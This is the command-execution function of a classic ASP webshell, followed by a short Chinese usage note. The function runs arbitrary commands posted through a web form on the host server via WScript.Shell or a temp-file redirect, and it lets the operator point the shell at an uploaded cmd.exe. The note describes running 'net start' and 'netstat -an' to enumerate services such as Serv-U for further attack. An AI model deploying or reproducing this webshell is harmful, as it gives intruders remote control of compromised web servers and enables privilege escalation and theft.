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Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method='post'><input name='cmd' Style='width:92%' class='cmd' value='"&DefCmd&"'><input type='submit' value='运行'>"
SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路径:<input name='SP' value='"&ShellPath&"' Style='width:70%'> "
SI=SI&"<input type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell</form>"
Response.Write SI
End Function
利用时只需在shell路径中指定上传的cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server。
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